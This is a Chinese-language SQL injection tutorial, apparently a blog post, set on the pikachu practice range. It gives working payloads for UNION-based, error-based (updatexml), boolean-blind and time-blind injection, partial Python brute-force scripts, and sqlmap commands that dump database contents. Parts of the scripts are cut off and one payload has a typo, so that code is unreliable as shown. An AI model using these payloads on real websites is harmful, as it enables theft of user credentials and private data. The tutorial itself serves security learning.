目录
前言:
1.【入门】普通查询型注入:
1.0 实验环境:
1.1进行一次普通的查询:
1.2 进行注入得到用户信息:
1.2.1 执行注入:
1.2.2 注入语句分析:
1.3 整型注入与字符型注入区别:
2.【进阶】从库到列逐步注入:
2.1 预备知识:
2.1.1 union函数:
2.1.2 order by函数:
2.1.3 information_schema 库:
2.2 注入实战:
2.2.1 查字段数:
2.2.2 查数据库名:
2.2.3 查库中所有的表名:
2.2.4 查表中所有的列名:
2.2.5 根据字段查询表中信息:
2.2.6 总结:
3.【高阶】 利用报错语句注入:
3.1 有关函数:
3.1.1 extractvalue()
3.1.2 updatexml()
3.2 注入实战
4.【高阶】布尔盲注:
4.1 什么是布尔盲注:
4.2 布尔盲注示例:
4.3 布尔盲注脚本:
5.【高阶】时间盲注:
5.1 什么是时间盲注:
5.2 时间盲注示例:
5.3 时间盲注脚本:
6.【附加】Sqlmap使用:
6.1 什么是sqlmap:
6.2 基本使用方法:
SQL注入漏洞OWASP Top 10漏洞之一,指黑客通过将恶意的SQL语句插入到Web应用程序的输入参数中,进而使后台的数据库服务器受到攻击的行为。这种漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行,从而导致数据库受损,用户隐私及机密数据遭到泄露
用于实验的表为:
假设后台查询语句为:
select password from users where id='$GET['id']';
分析语句可得,该语句会根据我们GET方式提交的参数 id 提交到数据库中查询id列中与提交的id参数相等的一行中password列所对应的值
语句为:
select password from users where id='tom';
这里我们提交的id参数为tom,也就是所在表中查询tom的password
结果为:
显而易见,我们查找出了tom的password
注入语句为:
select password from users where id='tom' or 1=1;#';
#我们传入的 id 为 tom' or 1=1;#
结果为:
我们可以看到爆出了所有的用户信息
我们给后台传入的id值为:
tom' or 1=1;#
后台形成查询语句为:
select password from users where id='tom' or 1=1;#';
红色的单引号为查询语句自带的,橙色单引号为我们传入的
分析到这里,查询语句可简化为:
select password from users where id='tom' or True;
可以理解为 id='tom' 或 为真
也就是说id只要还有存在的值,那么语句便会一直查找下去(id等于该列中任何一个值结果都为True)
上文所描述的注入实例为字符型,在实战环境中往往也会出现字符型
两种查询语句对比如下:
select password from users where id='$GET['id']'; #字符型
我们可以看到传入的参数在单引号中,故为字符型,因为字符串要被单引号括住
select password from users where id=$GET['id']; #整型
我们可以看到传入的参数两边无单引号,故为整型
遇到字符型注入时,不需要构造引号闭合(因为后台语句没有单引号),只须最后用引号注释掉后面即可
一般存在查询型注入,我们不只可以查询所有的同类型信息,还可以查询到数据库的版本、名称,及其所有的表、字段信息
对前后两个select语句进行并集操作,不包括重复行,同时进行默认规则的排序;需要前后两个select语句查询的字段数相同,我们可以根据此函数自定义一个select语句,用来查询我们想要的信息
此函数后面跟数字,指的是根据 select 后面查询的列进行分组、排序等,1 代表第一个列,2代表第二个列,依次类推,如果我们所输入的数字大于select后所查询的列数,那么就会返回失败,所以我们可以通过不断改变后面的数字来确定前select语句所查询的字段数
这是 MySQL 自带的信息数据库,用于存储数据库元数据(关于数据库的数据),例如数据库名、表名、列的数据类型、访问权限等。我们可在information_schema.tables这个表中查到该数据库的所有表
该内容表如下
这里以pikachu靶场为例
xx' order by 2#
2不报错,3报错,说明后台查询字段数为2,我们拼凑的查询语句字段数也应为2
结果为:
xx' union select database(),1#
database()为MySQL的一个环境变量,代表当前数据库
1是用来凑数的,因为前面的select语句为2个字段
或者
xxx' union select 1,group_concat(schema_name) from information_schema.schemata#
这个是通过information_schema库(下文有讲),查询当前用户所有数据库
结果为:
xx' union select 1,table_name from information_schema.tables where table_schema="pikachu"#
结果为:
1' union select 1,column_name from information_schema.columns where table_name= "users"#
结果为:
xx' union select username,password from users#
结果为:
在某些环境下,我们不止可以通过select语句进行注入,还以通过报错语句进行注入,利用报错语句带出数据
格式为:
extractvalue(xml_document,XPath_string)
xml_document:一个包含XML文档的字符串
XPath_string:一个XPath表达式,用于定位需要提取的值
格式为:
格式为
updatexml(xml_document,XPath_string,new_value)
xml_document:一个包含XML文档的字符串,
XPath_string:一个XPath表达式,用于定位需要修改的节点
new_value:要替换为的新值。
同样以pikachu靶场为例
payload:
xx' and updatexml(1,datebase(),0)#
我们可以看到爆出了数据库名( 这里仅以查询数据库名为例,步骤与上文类似,替换XPath_string参数为对应查寻语句即可)
布尔盲注是一种SQL注入技术,它基于真和假的逻辑判断。攻击者通过构造一些布尔表达式,并根据页面显示的不同响应来判断是否注入成功
例如pikachu这一关:在输入信息不存在时,会返回相同的一句话
我们可通过返回的信息,判断注入真假
//该脚本只能爆出数据库名,爆其他信息手动更改payload即可
import requests
url="xxxx/?id="
flag=''
for i in range(1,10):
print(i)
low=32
high=128
mid=(low+high)//2
while low
时间盲注是一种基于时间的SQL注入攻击技术。在某些情况下,页面会只有一种返回结果,无法通过正常的方式判断是否注入成功,这时,攻击者可以利用延时函数如sleep()
和benchmark()
等,在SQL语句中加入等待一定时间的命令,根据页面的响应时间来判断条件是否正确
例如pikachu这一关: 当我们输入不存在的用户名时,只会返回同样的一句话
无论我们传入的数据是否存在,返回结果均相同,所以我们要通过响应时间判断注入对错
该脚本只能爆出数据库名,爆其他信息手动更改payload即可
import time
import requests
flag=""
session=requests.Session()
url="xxx/?id="
for i in range(1,100):
print(i)
low=32
high=128
mid=(low+high)//2
while low 1:
low = mid + 1
else:
high = mid
mid = (low + high)//2
if mid==32:
break
flag=flag+chr(mid)
print(flag)
sqlmap
是一款开源的自动化SQL注入工具,可以用于检测和利用Web应用程序中的SQL注入漏洞,并获取数据库的敏感信息。该工具支持多种数据库类型(如MySQL、Oracle、PostgreSQL等)和操作系统(如Windows、Linux等)官网下载链接
sqlmap -u "http://www.xx.com?id=x" 查询是否存在注入点
--dbs 检测站点包含哪些数据库
--current-db 获取当前的数据库名
--tables -D "db_name" 获取指定数据库中的表名
--columns -T "table_name" -D "db_name" 获取数据库表中的字段
--dump -C "columns_name" -T "table_name" -D "db_name" 获取指定列的数据内容